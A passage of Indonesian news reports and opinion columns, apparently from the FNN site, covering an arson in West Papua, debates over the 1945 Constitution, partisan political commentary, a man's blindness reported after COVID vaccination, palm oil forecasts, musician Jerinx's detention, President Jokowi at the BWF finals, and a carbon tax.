bohong di tengah masyarakat Papua Barat bahwa pelaku pembakaran berasal dari kelompok separatis. “Peristiwa pembakaran ini dilakukan oleh mantan karyawan, bukan kelompok separatis. Informasi yang menyatakan kelompok separatis sebagai pihak yang membakar, dipastikan tidak benar,” katanya. Adam Erwindi mengatakan bahwa hingga saat ini pihak kepolisian masih melakukan pencarian terhadap LK, terduga pelaku pembakaran tempat penampungan PT. BKI. "Situasi Kabupaten Maybrat saat ini kondusif, masyarakat diimbau lebih bijak dan tidak mudah terprovokasi berbagai hoaks di media sosial," ujar kabid humas. (sws)

Amien Rais Mendukung Kembali ke UUD 1945 untuk Disempurnakan dengan Adendum

Oleh Mayjen TNI Purn. Prijanto Sayidina Umar Bin Chottob berkata : Ada kalanya orang yang buruk di masa silam,mereka akan menjadi orang yang paling baik di masa depan. Kata-kata tersebut sering saya dengar pada saat ada khotbah dan pengajian. Artinya, seseorang bisa saja berubah, sehingga stigmanisasi yang berlebihan kepada seseorang sesungguhnya tidaklah perlu. Orang baik bisa berubah menjadi pongah, buruk dan khianat, atau sebaliknya. Pembatasan : Tidak ada maksud tertentu kecuali untuk membedakan dan mempermudah, dalam artikel ini hasil amandemen UUD 1945, kita sebut UUD 2002. Tiga belas tahun yang lalu, dalam kaitan reaksi anak bangsa yang ingin Kembali ke UUD 1945, Amien Rais dalam Kata Pengantar pada buku Valina Singka Subekti “Menyusun Konstitusi Transisi” mengatakan seperti memutar jarum jam searah ke belakang, sesuatu yang mustahil dan tidak boleh terjadi. Amien Rais menyebut ada sepuluh implikasi yang harus dicamkan jika Kembali ke UUD 1945 : Pertama, DPD otomatis hilang. Kedua, DPA muncul kembali. Ketiga, Otonomi Daerah dibatalkan. Pemerintah pusat kembali memegang sentralisasi kekuasaan. Keempat, MPR terdiri dari anggota DPR, Utusan Daerah dan Utusan Golongan. Kelima, Presiden dan Wakil Presiden dipilih oleh MPR bukan oleh rakyat. Keenam, pasal HAM dengan sepuluh ayat yang melindungi hak asasi manusia Indonesia menjadi hilang. Ketujuh, tidak ada pasal yang menjamin kelestarian NKRI. Kedelapan, tidak ada ketentuan sekurang-kurangnya 20 persen APBN dan APBD dialokasikan untuk pendidikan nasional. Kesembilan, UU dibuat oleh eksekutif, sedangkan legislatif hanya menyetujui. Kesepuluh, Presiden dapat dipilih berulang kali tanpa batas. Dalam hal ini, Amien Rais tampak percaya diri bahwa UUD 2002 sebagai konstitusi yang sudah tepat untuk Indonesia. Namun, bagaimana mungkin Amien Rais bisa bilang Kembali ke UUD 1945 sesuatu yang mustahil dan tidak boleh terjadi? Pernyataan yang antagonistis dengan pernyataannya sendiri. Amien bilang hasil amandemen sebagai living constitution yang selalu terbuka untuk diubah menyesuaikan dengan perkembangan zaman. Konstitusi bukan ‘Kitab Suci’ yang tidak bisa diubah, kata para pengamandemen. Sejarah juga mencatat, Bung Karno pernah memutar balik pikiran bangsa Indonesia, kembali ke UUD 1945, pada 5 Juli 1959. Jadi, apa dasarnya Amien Rais bilang mustahil dan tidak boleh terjadi? Bukankah perubahan itu bisa perubahan total “Kembali ke UUD 1945, selanjutnya dilakukan penyempurnaan dengan cara adendum?” Itulah kritisi saya dalam artikel berseri pada September 2020 yang menepis sepuluh implikasi yang disampaikan Amien Rais. https://kronologi.id/2020/09/21/menepis-pendapat-amien-rais-1-intervensi-asing-dan-implikasi-kembali-ke-uud-1945/ Ternyata tiga belas tahun kemudian Amien Rais berubah pikiran dan berpendapat, setelah mengamati perkembangan situasi global, regional dan nasional. Dikatakannya, antara lain, sementara krisis eksistensial di Indonesia berupa masa depan bangsa yang makin suram, bahkan gelap. Kita melihat keterbelahan bangsa yang makin dalam, terutama dirasakan umat Islam. Tonggak-tonggak demokrasi sudah banyak yang roboh. Indonesia makin jauh masuk ke debt-trap China. Kekayaan alam Indonesia banyak yang mengalir ke luar negeri daripada dinikmati oleh masyarakat bangsa Indonesia. Kesenjangan kaya miskin semakin menganga, seperti temuan Oxfam London yang menyebut ada empat oknum yang kekayaan mereka lebih besar dari 100 juta penduduk miskin. Demokrasi Indonesia sudah terkubur secara sitematik dan sudah terjadi apa yang dinamakan sebagai The Corporate Coup d’etat. Baca : https://fnn.co.id/2021/11/28/what-to-bedone/ Tampaknya hasil pengamatan situasi dan kondisi Indonesia itulah yang mengubah pemikiran Amien Rais. Setelah mendengarkan penyampaian pemikiran saya dalam buku “Untaian Butir-Butir Mutiara Konstitusi Indonesia” di Rumah Perjuangan Bangsa, 28 November 2021, Amien Rais menyatakan mendukung atas konsepsi “Kembali ke UUD 1945, Untuk Disempurnakan Dengan Adendum”. Alhamdulillah. Pada hakikatnya, konsepsi tersebut merupakan upaya “Pewarisan dan Pelestarian Nilai-Nilai Pancasila, Cita-Cita, dan Tujuan Didirikannya Negara Indonesia Merdeka Demi Terjaga dan Kokohnya Persatuan Indonesia Melalui Dekrit Presiden yang Terkoordinasikan”. Apakah ada perbedaan antara Dekrit Presiden dengan Dekrit Presiden yang Terkoordinasikan? Apakah Dekrit Presiden yang Terkoordinasikan tersebut ada dasar hukumnya? Persoalan ini akan saya sampaikan pada artikel tersendiri. Semoga terinspirasi dan bersedia mendukung demi negeri yang kita cintai. [*] Penulis, Ketua PPAD DKI Jakarta

Dara Puti Janda, Nyi Loro Kidul bukan Setan

Oleh Ridwan Saidi MASA jaya zona ekonomi di Andunisi abad XIII - XVI M, ketika itu masa kejayaan seni pentas Andunisi. Tarian sangat disukai karena gerakan seluruh tubuh penari menerjemah geometri alam. Karena itu penari dipuja, selain karena cantiknya. Dan banyak penari yang membawa kecantikannya ke liang lahat. Kalau ada wanita terkenal dan tak terkait dengan power system biasanya penari. Yang dapat dipastiian Betari Durga, itu disimpulkan dari arca Betari Durga sendiri. Ia mengenakan belly dance dress. Nyi Loro Kidul, bukan setan. Loro atau Lolo bahasa Egypt artinya cantik. Kidul bagian belakang tubuh. Ken Dedes membuat jantung Tunggul Ametung coplok karena Pak Tunggul, kata babad, melihat kaki Ken Dedes waktu turun dari bendi. Tunggul melihat Ken Dedes dan Ken Umang menari di pentas zona ekonomi tapal kuda Jatim. Putri Champa oleh tukang babad dijodoh-jodohkan dengan menak, kalau ada wanita terkenal bukan karena ia kawin tapi karena ia pujaan ramai. Di Riau terkenal putri Gasib. Ini nama pentas. Gasib bahasa Egypt artinnya mungil. Di bukit Siguntang di makam Putri Rambut Salako, sepanjang punggung, ia terkenal tapi tak terkait power system. Biasanya pegiat pentas. Di Jakarta dan sekitarnya banyak nama terkenal antara lain Kiranawati, Depok, Mayang Sari, makamnya dekat Museum MH Thamrin, Gg Kenari. Dan Dara Puti, bukan DaraH PutiH. Ia janda. Puti artinya pernah menikah. Saya tak paham apa hunbunganya lagu dangdut "O Jandaku" dengan Dara Puti. Makam Dara Puti di Pulau Panggang, kepulauan Serenbu. Panggang artinya lestari. Penari Sunda Kalapa yang beken namanya Rantisem, wajah nan cantik, arti namanya. Lara Santang juga bermakna wanita cantik/lara. Tapi tukang babad mengkait-kaitkan almarhumah dengan power. Makamnya di Karawang di kawasan luar keramaian. Di abad-abad itu pemusik tak terkenal, tapi penari. Penari punya kawalan khusus, dan namanya selalu dikenang orang seperti Nyai Rengganis dari Pelabuhan Ratu. *) Budayawan

Bangun Diorama Kembali di Makostrad

By M Rizal Fadillah Hancur atau hilangnya diorama penumpasan G 30 S PKI di Makostrad telah membuat geger. Tokoh Soeharto, Nasution, dan Sarwo Edhi dihilangkan oleh Pangkostrad Dudung Abdurrahman dengan alasan yang tidak logis. Membawa-bawa nama Pangkostrad terdahulu. Konon haram membuat patung. Kini Dudung Abdurrahman sudah melompat menjadi KSAD. Dengan segala dinamika dan gayanya. Tugas Pangkostrad baru adalah membuat kembali patung diorama penumpasan G 30 S PKI. Ketiga tokoh sejarah di atas harus ditampilkan lagi. KSAD, Panglima TNI, dan Presiden tidak boleh menghalangi sebagai bukti bahwa rezim tidak pro PKI. Pembuktian bahwa rezim tidak pro-PKI menjadi penting saat ini atas alasan : Pertama, rezim masih bersikukuh untuk menggoalkan RUU BPIP menjadi UU sebagai buntut atau ikutan RUU HIP yang disinyalir berbau komunis. Kedua, rezim masih menggenggam erat persahabatan dengan Republik Rakyat China baik untuk kepentingan investasi, hutang luar negeri, maupun kerjasama dengan Partai Komunis China. Ketiga, rezim harus menepis isu keterkaitan Presiden Jokowi dengan tokoh atau aktivis PKI dahulu, khususnya isu hubungan keluarga. Hoaks harus dijawab dengan gamblang dan transparan. Keempat, citra rezim tidak bersahabat dengan umat Islam dan membangun stigma keagamaaan yang radikal dan intoleran. Komunis itu memusuhi agama dan umat beragama. Kelima, menafikan dan melemahkan figur Soeharto dan mengagungkan atau mengkultuskan figur Soekarno. Dalam membangun politik perimbangan Soekarno di masa kepemimpinannya dekat dengan PKI. Keenam, the rulling party menampung aktivis kiri termasuk mantan PKI. Tetap menilai bahwa massa dan simpatisan PKI sebagai potensi suara support politik. Untuk menghindari citra politik bahwa rezim ini pro-PKI maka harus ada upaya mengkonter pencitraan tersebut. Tentu bukan dengan sekedar berteriak PKI sudah tidak ada, Ketetapan MPRS No XXV/MPRS/1966 masih berlaku, atau tunjukkan si A si B itu PKI, tetapi harus dengan langkah nyata dan bukti. Nah mulailah dari pidato kenegaraan tentang bahaya komunisme dan PKI, lalu bangun kembali diorama penumpasan G 30 S PKI di Museum Makostrad yang telah dihancurkan atau dihilangkan oleh Letjen Dudung Abdurrahman, kini KSAD. Selanjutnya, terserah Anda. *) Pemerhati Politik dan Kebangsaan

Musim Pejabat Tuna Susila

Oleh Yusuf Blegur Lebih miris lagi jika mengangkat soal tuna susila dalam konteks kekinian. Salah satu penyakit sosial itu mewujud bukan hanya berkenaan pada kaum perempuan semata dan tidak melulu dalam urusan penyaluran seks. Kalaupun itu terjadi, lebih karena perempuan sering menjadi korban dari sistem dan eksploitasi libido kaum lelaki. Di lain sisi disorientasi dalam banyak hal, intens mengemuka tanpa membedakan gender, kelas sosial dan keturunan. Contoh nyata berupa kejahatan berat seperti korupsi, tindak kekerasan, pembunuhan hingga kejahatan-kejahatan lainnya. Baik yang dilakukan secara pribadi maupun kelompok atau dengan persekongkolan (baca: konspirasi dan oligarki). Selain yang berat ada juga yang tidak lazim tapi memiliki daya rusak yang hebat dalam masyarakat. Perilaku menyimpang terkadang lebih berani tampil terbuka dan serba permisif. Sudah mulai sering terjadi ketiadaan etika dan rasa malu. Mengabaikan moral hingga distorsi dalam berbagai relasi sosial yang mengganggu dan merugikan banyak orang. Agama Islam dan umumnya hukum sosial lainnya begitu tegas terhadap masalah pelacuran. Selain menyangkut perzinahan, kegiatan atau perdagangan seks itu dapat merusak moral dan menghancurkan tatanan hidup kemasyarakatan. Status yang lebih banyak ditujukan kepada perempuan dengan istilah wanita tuna sosial atau pekerja seks komersil itu. Bukan hanya merendahkan status perempuan. Keadaan itu juga berpotensi menghancurkan struktur sosial dalam suatu negara. Karena pada prinsipnya, perempuan merupakan awal dari peradaban manusia. Maka terjerumusnya perempuan dalam keadaan tuna sosial, bukan tidak mungkin menjadi penyebab kehancuran kehidupan manusia pada umumnya. Menariknya, ada persoalan yang tidak kalah destruktifnya bahkan bisa melebihi dari realitas perempuan yang divonis tuna susila tersebut. Beberapa fenomena penyimpangan sosial yang sedang trend, antara lain aturan memaksakan berlakunya kecenderungan seks bebas. Rendahnya mental dan miskinnya ahlak dalam soal ucapan, pikiran dan tindakan (integritas). Membiarkan kebohongan yang terus-menerus menjadi kebenaran. Juga pada penyalahgunaan kekuasaan (abuse of power) dalam politik ketatanegaraan. Semua itu pada dasarnya merupakan persoalan yang sudah menjadi penyakit sosial. Beberapa tahun terakhir ini, tepatnya hampir 8 tahun proses penyelenggaraan kehidupan bermasyarakat, berbangsa dan bernegara, diliputi banyak ketidaksesuaian dalam pelbagai aspek kehidupan. Aturan hingga perilaku di luar kelaziman terus dipraktekkan dan dipertontonkan di hadapan publik. Tanpa hukum yang bersumber pada UUD 1945 dan Pancasila. Rakyat diperas, kekayaan negara dikuras. Seiring itu, nilai-nilai spiritualitas dan keagamaan menjadi hampa. Tatkala negara menjunjung tinggi kapitalisme yang liberal dan sekuler., kekuasaan telah menegaskan sistem politik yang memisah relasi agama dari negara. Prestasi terbesar dan membangggakan dari semua itu, hanya mewujud pada kerusakan personal dan sistemik. Tentu saja secara massal dan dalam persfektif negara gagal. Wajah kekuasaan dalam kebijakan sosial ekonomi, sosial politik, sosial hukum dan lainnya, terlanjur menampilkan sorot mata dan karakter antagonis. Sampai menjadi kontradiksi dan bahkan telah memberangus norma-norma yang ada pada negara dan agama itu sendiri. Baik negara dan agama, keduanya saling dipertentangkan dan telah dimanfaatkan oleh rezim. Perilaku kekuasaan hanya untuk meraih dan menumpuk kepentingan selain keberadaban. Mengejar materi, mengabaikan kemanusiaan dan melakukan segala cara untuk memenuhi ambisi dan nafsu dunia. Tidak jarang memunculkan watak yang tak bertuhan dan menentang kehadiran Tuhan Sang Penguasa sejati. Tanpa Kemaluan Tanpa Kehormatan Di negeri ini, perilaku kekuasaan lebih banyak menorehkan catatan ketidakberhasilan ketimbang prestasi. Seandainya boleh dibilang lebih ekstrim, terhampar kemudharatan dibanding menggelar kemaslahatan. Kejahatan begitu rapi dan teroganisir, sementara kebaikan tercerai-berai. Manusia dengan hati nurani diam membisu sambil menggerutu melihat keadaan. Sedangkan boneka yang digerakkan oleh remote control tampil akrobatik dan lincah menghipnotis. Selain kesalahan membangun sistem, keadaan semakin mengalami perburukan karena persoalan behavior pemangku kepentingan publik. Hukum rusak, pejabatnya jauh lebih rusak. Kekuasaan tak ada hubungannya dengan kesejahteraan rakyat dan kehormatan negara. Hanya tersedia panggung politik yang menyuguhkan kerakusan dan keserakahan. Peluru di tangan dan tumbalnya ada pada rakyat. Bagai dramaturgi, menampilkan hanya sekumpulan penjahat berupa pembunuh, perampok, pencoleng dan maling kelas coro. Seperti itu kehadiran pejabat ditampilkan, bukan figur dengan karakter pemimpin. Banyak pejabat yang masih bisa senyum dan bangga pada korupsinya. Ada yang arogan dan menantang meski terseret kasus dan kebijakan inkostitusional. Beberapa merasa besar dengan mempertontonkan watak pemarah dan temperamennya pada orang kecil. Ada yang harusnya mengurus masalah besar tapi lebih suka mengusik urusan kecil. Mungkin kontemplasi dari ketidakmampuannya atau melupakan kesalahannya. Beberapa kelas sosial dan profesi, termasuk intelektual dan agamawan, kerapkali secara substansi tak terhindar menjadi pelacur juga. Tidak sedikit yang beramai-ramai teriak kebaikan sambil menyembunyikan kekejiannya. Terasa tanpa beban dan tak ada rasa bersalah. Satu hal lagi yang mirip dagelan namun sesungguhnya sangat menyakitkan. Saat institusi negara bergaya lembut dan ramah pada orang luar, namun keras pada yang ada dalam lingkungannya. Mengarahkan moncong senjata kepada saudaranya sendiri ketimbang musuh yang sebenarnya. Begitu arogan dan bengis pada yang lemah, meskipun yang telah memberinya mandat. Berlaku dan serasa bos terhadap rakyatnya, namun menjadi jongos di hadapan asing dan aseng. Tak ada lagi landasan, acuan dan sandaran pada pemimpin sejati. Rakyat tak dapat menikmati sesuatu yang layak dan wajar. Negara telah jatuh dalam mengusung amanat cita-cita proklamasi kemerdekaan dan konstitusi. Seperti tanaman yang disiram dan dirawat sejak bibit. Namun tak bertahan lama, tak berbuah dan mati dimakan rayap dan hama di sekelilingnya. Begitupun rakyat, seperti tanpa pemerintahan dan tanpa negara. Hanya ada sekumpulan penjahat konstitusional, yang membuat rakyat menjadi terhina dan teraniaya. Rakyat seperti dipaksa melayani kepuasan syahwat dari para aparat tuna susila. Negeri sedang berada dalam musimnya pejabat tuna susila yang dilegalkan. Pemimpin negara tanpa kemaluan dan kehormatan di hadapan rakyatnya. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Kedzoliman Akan Segera Tumbang

Oleh Sugeng Waras Sikap super damai yang ditunjukkan oleh sebagian besar rakyat Indonesia dalam menghadapi super ketat penjagaan dan kesiagaan aparat terus menggema di seluruh pelosok tanah air. Masyarakat berkonvoi dengan membentangkan spanduk Jokowi Mundur dan teriakan Tegakkan Keadilan serta Yel Yel Allahu Akbar dan Merdeka juga terus menggelora di seantero Indonesia. Tampaknya rakyat sudah sangat gerah dengan bobroknya supermasi hukum yang ditindas dengan arogansi kekuasaan dan kesewenang-wenangan oleh oligarki yang telah memperalat, memperperosokkan dan menjerumuskan TNI POLRI sebagai bemper yang dipoles sebagai garda terdepan dan benteng terakhir pemerintah, dalam menerapkan Demokrasi Terpimpin. Legislatif dan yudikatif diberangus dan dilemahkan peran dan fungsinya, dibuat tak berdaya dan ompong melompong tak berkutik dan tak berdaya dalam tugasnya untuk memberdayakan supermasi hukum dan rakyat sebagai kedaulatan tertinggi negara. Penindasan dan kesewenang-wenangan terhadap rakyat semakin menggila. Tetapi kita harus paham dan sadar, bahwa tidak ada konspirasi jahat meskipun dilakukan secara terstruktur, masif dan sistematis yang akan memenangkan kebenaran. Kesombongan akan terlibas oleh kearifan, kesewenang-wenangan akan tergilas oleh kesabaran. Kasihan, TNI POLRI hanya menjadi budak dan jongos penguasa yang didominasi oleh segelintir orang saja. Sesungguhnya, saya tidak yakin akan kesolidan dan kevalidan penguasaa saat ini. Bukan karena pakaian yang gagah dan perlengkapan yang modern yang dilengketkan di badan aparat Brimob yang ditunjukkan kepada rakyat, sesungguhnya sikap moral yang melindungi dan mengayomi rakyat yang ditunggu-tunggu dan diharapkan oleh rakyat. Tagline Presisi yang dicanangkan Kapolri ternyata hanya sebatas slogan yang mencoreng kepolisian itu sendiri. Faktanya inkonsistensi! Bahkan kini TNI semakin menunjukkan sikap ketidakjelasan dalam keberpihakanya terhadap rakyat. Ingat TNI POLRI, lahir dan berasal dari rakyat, oleh rakyat dan untuk rakyat. Jangan bermimpi untuk menekan, menakut-nakuti, menindas, dan mengintimidasi rakyat, terutama terhadap umat Islam lebih khusus kepada tokoh agama, ulama, kyai, dan habaib. Paham dan sadari bahwa kesewenang-wenangan rezim, tidaklah kuat! Hanya beberapa gelintir orang buzzer, penjilat dan pengkhianat, yang merasa kebal hukum, padahal rapuh. Ulah kalian akan tergulung oleh ketegasan hukum! Wait and see! Oleh karenanya, saya menghimbau, perkuat persatuan dan kesatuan masyarakat, untuk menghentikan dan meluruskan aparat dzolim. Yakin dan percayalah hanya segelintir orang yang membuat rakyat terdzolimi. Adapun sebagian besar TNI POLRI masih berpikir sehat, untuk bergerak bersama-sama dan berpihak kepada rakyat pada saat yang tepat. Sekali lagi, teruskan perjuangan dalam menegakkan kebenaran dan keadilan. Jangan menggeneralisasi TNI POLRI dicampuradukkan dengan para pengkhianat dan penjilat. Kunci kekuatan dan kebenaran negara, sangat tergantung pada kesadaran dan kemauan TNI POLRI bersama sama dan berpihak kepada rakyat. Pahami dan sadari, pangkat dan jabatan kalian sekarang hanya sementara. Yang pasti cepat atau lambat, kalian juga akan mati. Oleh karenanya, matilah di jalan Allah, yang memperjuangkan hak-hak dan kedaulatan rakyat! Allahu Akbar. Merdeka. *) Purnawirawan TNI AD

Warga Malang yang Mengalami Kebutaan Usai Vaksinasi Harapkan Bantuan

Malang, FNN - Seorang warga Kota Malang, Provinsi Jawa Timur, yang mengalami kebutaan seusai menjalani vaksinasi COVID-19 mengharapkan bantuan dari pemerintah. Titik Andayani (35) mengatakan bahwa suaminya, Joko Santoso (38), tidak bisa kembali bekerja karena mengalami kebutaan setelah menjalani vaksinasi pada September 2021. "Saat ini suami tidak bisa bekerja, kemudian selanjutnya bagaimana. Kami mengharapkan adanya bantuan," kata Titik di Kota Malang, Kamis. Titik menuturkan, suaminya mengalami kebutaan sejak awal September 2021 dan hingga saat ini belum bisa kembali bekerja karena penglihatannya belum sepenuhnya pulih. Menurut dia, pada masa awal suaminya mengalami kebutaan tetangga dan saudara sering memberikan bantuan. Namun selanjutnya Titik merasa tidak enak terus mendapat bantuan dari tetangga dan saudara. "Maksud saya itu, pemerintah itu kok tidak ada bantuan yang turun-turun lagi," kata Titik, yang tinggal di Kelurahan Arjowinangun, Kecamatan Kedungkandang, Kota Malang. Kondisi yang demikian mendorong Titik mengunggah kejadian yang menimpa suaminya ke grup Facebook bernama Komunitas Peduli Malang Raya (Asli Malang) dengan harapan bisa mendapatkan perhatian dari Pemerintah Kota Malang. "Awalnya saya itu berniat untuk diam-diam. Memang pada awalnya saya mendapatkan bantuan, namun saat ini tidak ada bantuan lagi," katanya. Titik sudah menyampaikan harapannya kepada camat dan lurah setempat. Ia berharap pemerintah setidaknya memberikan pekerjaan yang sesuai untuk suaminya. "Saya minta diberi pekerjaan yang kira-kira cocok sama kondisi suami saya. Nanti rencananya akan diberi gerobak untuk berjualan. Itu juga tidak apa-apa," ujarnya. Lurah Arjowinangun Andi Hamzah mengatakan bahwa pemerintah kelurahan sudah berkoordinasi dengan pengurus lingkungan rukun tetangga dan rukun warga untuk membantu Joko, termasuk mengupayakan biaya pengobatan Joko digratiskan. "Kemudian kami juga sudah berkoordinasi dengan camat dan dinas terkait untuk langkah-langkah lanjutan," katanya. Menurut dia, pemerintah kelurahan bersama dengan Dinas Sosial, Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk, dan Keluarga Berencana juga sudah melakukan koordinasi untuk membantu pemenuhan kebutuhan pokok Joko dan keluarganya. "Kami memikirkan itu juga, sehingga, saat itu kami juga salurkan sembako. Termasuk sampai hari ini," katanya. Joko menjalani vaksinasi COVID-19 dosis pertama pada 3 September 2021. Dia mendapat suntikan vaksin buatan AstraZeneca setelah hasil pemeriksaan menunjukkan dia sehat dan bisa menjalani vaksinasi COVID-19. Setelah mendapat suntikan vaksin COVID-19 Joko pulang ke rumah. Setibanya di rumah dia merasa mual dan kemudian dua kali muntah. Malam harinya, saat hendak menggunakan telepon genggam Joko merasa penglihatannya agak kabur namun dia semula mengira hal itu terjadi karena dia mengantuk sehingga kemudian memutuskan untuk beristirahat. Namun keesokan harinya, saat terbangun dari tidur, Joko tidak bisa melihat sama sekali. Istri Joko lantas melaporkan kejadian itu ke ketua rukun warga dan Joko langsung dibawa ke rumah sakit. (mth)

Produksi CPO Indonesia Diprediksi Meningkat Tahun 2022

Jakarta, FNN - CEO Oil World Thomas Milke memprediksi produksi minyak sawit mentah atau Crude Palm Oil (CPO) Indonesia mengalami peningkatan sebesar 1,7 juta sampai 1,9 juta ton pada tahun 2022, namun produksi tersebut tak mengalami peningkatan bila dibandingkan dengan tahun 2018. “Dengan kata lain, pertumbuhan produksi CPO mengalami stagnasi selama 2 tahun,” ungkapnya dalam Indonesian Palm Oil Conference (IPOC 2021) virtual bertema Role of Palm Oil Industry toward Sustained Economy Recovery, di Jakarta, Kamis. Selain CPO, pada tahun 2022 diprediksi produksi minyak nabati dunia meningkat 25 juta ton dengan mencatatkan rekor sebesar 611 juta ton. Selain itu Analis Komoditas Godrej International Limited Dorab Mistri menyampaikan bahwa harga minyak sawit mentah yang rata-rata berada di atas 1.000 dolar AS per ton sepanjang tahun ini berpotensi terkoreksi tahun depan. Kondisi global yang membaik pasca-pandemi disebut akan membuat produksi Tandan Buah Segar (TBS) sawit di Indonesia dan Malaysia stabil. Dorab juga memprediksi produksi CPO Indonesia juga mengalami kenaikan 1 juta ton pada tahun 2022. ​​​​​ Adapun Chariman LMC International James Fry memperkirakan permintaan minyak nabati kembali pulih pada tahun 2021/2022 meskipun sejak 2020 terjadi penurunan permintaan minyak nabati akibat pandemi COVID-19 yang menghantam China dan India. “Hal ini terjadi karena permintaan terhadap minyak nabati lebih kuat dibanding yang diperkirakan. Sedangkan produksi minyak nabati dalam negeri tidak mampu untuk mencukupi kebutuhan,” ujar James. (mth)

Jerinx Ajukan Penangguhan Penahanan

Jakarta, FNN - Kuasa hukum musisi I Gede Ari Astina alias Jerinx mengajukan penangguhan penahanan kepada Kejaksaan Negeri Jakarta Pusat. "Hari ini ada tim sedang mengurus penangguhan penahanan, sedang mengajukan permohonan kepada Kejaksaan Negeri. Jadi kita sudah memberikan surat kepada Kejari," kata kuasa hukum Jerinx, Sugeng Teguh Santoso saat dikonfirmasi, Kamis. Sugeng mengatakan, Jerinx selama selama ini bersikap kooperatif saat menjalani proses hukum oleh pihak Kepolisian terkait kasus tersebut. "Jerinx kooperatif ya selama ini, menjelang tahap satu Jerinx dari Bali datang. Kemudian Jerinx untuk barang bukti sudah disita semua," ujarnya. Sugeng juga mengungkapkan salah satu alasan penangguhan penahanan kepada Jerinx adalah didasari faktor keluarga, yakni Jerinx sebagai pencari nafkah di keluarganya. "Jerinx menyampaikan ada satu alasan pertimbangan sosial ekonomi, yaitu mengurus ibunya yang sedang sakit-sakitan," katanya. Jerinx mengurus ibunya dengan Nora, sementara sumber keuangannya dari Jerinx. "Jadi itu salah satu pertimbangan yang disampaikan juga," katanya. Kepolisian secara resmi menyerahkan Jerinx sebagai tersangka dalam perkara pengancaman melalui media sosial berserta barang bukti terkait kasus tersebut kepada pihak Kejaksaan untuk disidangkan pada Rabu (1/12). Usai dilakukan penyerahan, pihak Kejaksaan langsung melakukan penahanan terhadap yang bersangkutan. Jerinx kemudian dititipkan pihak Kejaksaan di Rutan Direktorat Reserse Kriminal Umum (Ditreskrimum) Polda Metro Jaya. Dikonfirmasi terpisah, Kepala Seksi Intelijen Kejaksaan Negeri Jakarta Selatan, Bani Immanuel Ginting mengatakan, alasan penahanan Jerinx untuk mempermudah proses persidangan. "Dengan alasan untuk mempermudah proses persidangan, dikhawatirkan tersangka melarikan diri, merusak atau menghilangkan barang bukti dan atau mengulangi tindak pidana sesuai dengan pasal 21 ayat (1) KUHAP," ujar Bani. Sebelumnya, penyidik Polda Metro Jaya menetapkan Jerinx sebagai tersangka terkait dugaan pengancaman terhadap pegiat media sosial, Adam Deni. Dugaan tindak pengancaman ini bermula saat Deni ​​​berkomentar terkait pernyataan Jerinx soal artis yang disponsori COVID-19 melalui media sosial. Komentar yang dilayangkan Deni menyulut perhatian musisi itu sehingga menjadi pemicu pertikaian. Selang beberapa lama, akun Instagram Jerinx hilang. Jerinx menuduh Deni sebagai orang yang bertanggung jawab atas hilangnya akun Instagram itu. Jerinx sempat menghubungi Deni dan mengancam melakukan tindak kekerasan. Atas ancaman tersebut, Deni sempat berniat membuka pintu mediasi dengan Jerinx. Namun, upaya tersebut tidak berjalan mulus dan Deni pun melaporkan Jerinx ke Polda Metro Jaya pada 10 Juli 2021. (mth)

Presiden Jokowi Saksikan BWF World Tour Finals 2021

Jakarta, FNN - Presiden Joko Widodo menyaksikan pertandingan BWF World Tour Finals 2021 yang digelar di The Westin Resort, Bali International Convention Center (BICC), Kabupaten Badung, di sela-sela kunjungan kerjanya di Provinsi Bali, Kamis. Dalam kesempatan tersebut, Presiden Jokowi menyaksikan pertandingan tunggal putri antara pemain India, Pusarla Venkata Sindhu, melawan pemain Jerman, Yvonne Li di lapangan 1. Selain itu, Presiden Jokowi menyaksikan pertandingan di lapangan 2 pada nomor ganda campuran antara pasangan Jepang, Yuta Watanabe/Arisa Higashino, melawan pasangan Malaysia, Tan Kian Meng/Lai Pei Jing. Usai menyaksikan pertandingan, Presiden Jokowi bertemu dengan para punggawa yang berhasil menjadi juara Piala Thomas pada Oktober 2021. Presiden mengapresiasi para atlet dan Persatuan Bulu Tangkis Seluruh Indonesia (PBSI) atas pencapaian tersebut, utamanya karena Indonesia berhasil mengakhiri puasa gelar Piala Thomas selama 19 tahun. "Ini adalah sebuah prestasi yang telah ditunggu lama oleh seluruh rakyat Indonesia dan saya sekali lagi menyampaikan penghargaan yang setinggi-tingginya untuk Piala Thomas maupun untuk prestasi-prestasi yang lainnya yang tadi disampaikan oleh Bapak Ketua Umum PBSI," ujar Presiden. Selain itu dalam kesempatan tersebut Presiden sempat bertanding bulu tangkis melawan Tim Piala Thomas Indonesia. Presiden berpasangan dengan pebulu tangkis tunggal putra Jonathan Christie melawan pebulu tangkis Hendra Setiawan yang berpasangan dengan Ketua Umum PBSI Agung Firman Sampurna. Dalam cuplikan video yang disaksikan di Jakarta, Kamis, saat bertanding Presiden tampak mengenakan celana pendek olahraga hitam dengan kaus putih lengan panjang. Presiden tampak beberapa kali melakukan pukulan smash. Turut mendampingi Presiden saat menyaksikan pertandingan badminton tersebut Menteri Sekretaris Negara Pratikno, Menteri Perhubungan Budi Karya Sumadi, Menteri Kesehatan Budi Gunadi Sadikin, Ketua Umum PBSI Agung Firman Sampurna, dan Gubernur Bali I Wayan Koster. (mth)

Kemenkeu: Penerapan Pajak Karbon untuk Ekonomi Berkelanjutan

Jakarta, FNN - Pemerintah Indonesia menyatakan penerapan pajak karbon tak hanya membuat udara menjadi bersih dari emisi, tetapi juga menciptakan ekonomi yang berkelanjutan. Peneliti Ahli Madya Pusat Kebijakan Pendapatan Negara Kementerian Keuangan (Kemenkeu) Hadi Setiawan mengatakan penerimaan dari pajak karbon dapat dimanfaatkan untuk menambah dana pembangunan, investasi teknologi ramah lingkungan, atau memberikan dukungan kepada masyarakat berpendapatan rendah dalam bentuk program sosial. "Kebijakan pajak karbon ini tentunya tidak berdiri sendiri, melainkan merupakan paket kebijakan komprehensif untuk penurunan emisi dan sebagai stimulus untuk transisi menuju ekonomi yang lebih berkelanjutan," kata Hadi dalam keterangan yang dikutip di Jakarta, Kamis. Saat ini Indonesia telah memiliki Undang-Undang tentang Harmonisasi Peraturan Perpajakan (HPP) yang salah satunya mengatur mengenai pajak karbon. Pemerintah akan menerapkan pajak karbon secara bertahap pada 2021 sampai 2025 dengan memperhatikan perkembangan pasar karbon, pencapaian target Nationally Determined Contribution (NDC), kesiapan sektor, dan kondisi ekonomi. Pada 1 April 2022 direncanakan akan mulai diterapkan pajak karbon menggunakan konsep cap and tax secara terbatas pada PLTU batu bara dengan tarif Rp30.000 per ton karbondioksida. "Untuk kegiatan di PLTU batu bara, 